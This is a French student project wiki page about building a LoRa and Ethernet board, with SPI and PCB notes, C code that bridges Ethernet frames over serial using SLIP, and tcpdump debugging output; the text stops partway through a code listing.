La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
